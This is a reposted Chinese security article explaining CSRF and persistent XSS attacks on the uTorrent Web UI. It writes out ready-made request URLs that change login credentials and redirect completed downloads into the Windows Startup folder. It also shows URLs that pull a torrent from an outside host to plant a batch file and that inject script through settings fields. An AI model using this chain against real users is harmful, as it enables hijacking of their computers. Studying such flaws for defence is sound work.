欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

利用基于Web的黑客技术造攻击uTorrent客户端

来源:本站转载 作者:佚名 时间:2008-12-13 TAG: 我要投稿
uTorrent是一款优秀的BT下载客户端软件,它具有个头小巧,界面清爽,下载速度快等诸多优点,所以广受喜欢用BT下载的用户的欢迎。但是,我想要说的是,亲爱的uTorrent用户们,小心了,黑客正在向我们袭来……

人们已经发现了几个CSRF漏洞,将它们组合起来就能对uTorrent的Web用户界面及其底层的系统造成破坏性的打击——攻击者不仅可以强迫uTorrent下载任意的torrents文件,还能把下载后的文件移动到系统中的任意目录下,并最终完全控制受害者的计算机。下面开始介绍黑客们的攻击手法。

一、篡改登录信息

眼下,有越来越多的软件开始采用Web 应用程序接口,例如BitTorrent客户端就是一个很好的例子。人们始料未及的是,web接口通常易于受到攻击,攻击者利用web接口的最大困难只是难于获悉web接口的精确位置。 虽然远程执行代码也是可能的,但是这并非一个非常严重的安全漏洞,因为它难以利用。所以,针对BitTorrent客户端的攻击数量将超过对BitTorrent服务器的攻击。

下面我们详细介绍如何通过跨站请求伪造技术来修改uTorrent的Web用户界面登录信息。我们知道,利用CSRF可以修改Web用户界面所需的用户名和口令,但是攻击者要想修改这些用户名和口令的话,前提是用户已经登录——但是这对于攻击者来说并非难事,通过社交工程就能达到这一目的。

好了,现在假设用户已经登录,那么利用下列精心构造的URL,攻击者就能修改uTorrent管理员登录信息:

http://127.0.0.1:8080/gui/?action=setsetting&s=webui.username&v=badmin
http://127.0.0.1:8080/gui/?action=setsetting&s=webui.password&v=badmin
http://127.0.0.1:8080/gui/?action=setsetting&s=webui.port&v=4096

构造好上述的陷阱后,攻击者所要做的只是诱骗用户点击这些URL。当然,攻击者不会傻到直接将这些链接信息暴露给用户,他们可以通过多种方法来做掩护。当更改用户名和密码之后,浏览器必须重新进行身份验证,方法如下:

http://127.0.0.1:8080/gui/?action=setsetting&s=webui.restrict&v=127.0.0.1/24,10.1.1.1

二、强迫uTorrent执行下载的文件

利用CSRF可以修改Web用户界面所需的用户名和口令,但是攻击者要想修改这些用户名和口令的话,前提是用户已经登录——但是这对于攻击者来说并非难事,通过社交工程就能达到这一目的。对于本文所介绍的攻击,我们假设用户已经通过了uTorrent的Web用户界面的身份验证。

首先,攻击者需要设法让选择的文件进入一个计算机,更重要的是,攻击者还得设法把它放在他们指定的目录中。我们看一下正常情况下,用户是如何为下载的文件指定存放目录的。我们需要打开uTorrent的“Move completed downloads to”选项。

 
图1

然后,我们还得告诉uTorrent将下载好的文件移动到哪一个目录下。

 
图2  指定目录

我们知道,利用跨站请求伪造技术,攻击者能够以用户的身份来行事,因为前面我们已经假设用户已经登录到客户端了。所以,攻击者所要做的只是设法让用户点击上图中的URL即可,如下所示:

http://localhost:14774/gui/?action=setsetting&s=dir_completed_download&v=C:\Documents%20and%20Settings\All%20Users\Start%20Menu\Programs\Startup

这时,他们的uTorrent的下载首选项现在将变成下面的样子:

 
图3  修改后的首选项

这样的话,下载后的文件将被移动到All Users的启动文件夹,并且只要攻击者能够强迫用户下载文件,实际上他们就已经得手了。例如,攻击者可以通过下列方法来强迫用户下载一个torrent文件:

http://localhost:14774/gui/?action=add-url&s=http://www.whatever.com/file.torrent

假设该torrent文件让uTorrent下载一个名为pwn.bat的文件。下载一旦完成,pwn.bat就会位于启动文件夹,所以当用户重新引导系统时该文件就会被执行。但是等一下,情况还会更糟……

三、uTorrent客户端中的跨站脚本漏洞

Utorrent的Web用户界面还容易受到跨站脚本XSS的攻击!还记得之前有关本地Web服务器的危险性的文章吗?详情可以参见《利用跨站脚本攻击Eclipse本地Web服务器》一文。 实际上,那篇文章中介绍的跟本文介绍的漏洞利用有些不同之处。下面是一个用于测试该漏洞的概念验证性质的攻击字符串。

http://localhost:14774/gui/?action=setsetting&s=tracker_ip&v=%3Cscript%3Ealert('xss')%3C/script%3E

http://localhost:14774/gui/?action=setsetting&s=ct_hist_comm&v=%3Cscript%3Ealert('xss')%3C/script%3E

http://localhost:14774/gui/?action=setsetting&s=dir_active_download&v=%3Cscript%3Ealert('xss')%3C/script%3E

这些都是些持久性的XSS攻击。为了触发这些恶意JavaScript代码,需要强迫用户的浏览器访问下列地址:

http://localhost:14774/gui/?action=getsettings

下面看看,效果如何:

 
图4  uTorrent客户端中的跨站脚本漏洞

需要注意,“localhost”部分是非常重要的,因为攻击者要做的是跨区域的脚步攻击,而并单纯的XSS。当然,这里也可以使用“loopback ”来代替“localhost”。 

四、uTorrent客户端 + IE 6浏览器 = 用户的恶梦

实际上,如果用户正在使用IE 6的话,那么攻击者就不必强迫用户下载文件到启动文件夹,更不用等待他们重启机器了。攻击者只要强迫用户下载文件到一个位置就行了,比如下载到C:\,然后可以利用WScript.Shell 来执行它们即可,因为你的JavaScript代码位于本地内部网区域中。

五、小结

uTorrent是一款优秀的BT下载客户端软件,它具有个头小巧,界面清爽,下载速度快等诸多优点,所以深受广大用户的欢迎。但是,该客户端最近被发现许多安全漏洞,本文详细介绍了已发现的多种针对它的攻击方法:我们首先介绍了如何利用跨站请求伪造技术篡改uTorrent客户端的登录信息,即用户名和密码;然后又介绍了利用跨站请求伪造技术来强迫uTorrent执行下载的文件;最后,介绍了同时使用uTorrent客户端和 IE 6浏览器的用户所面临的威胁。

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载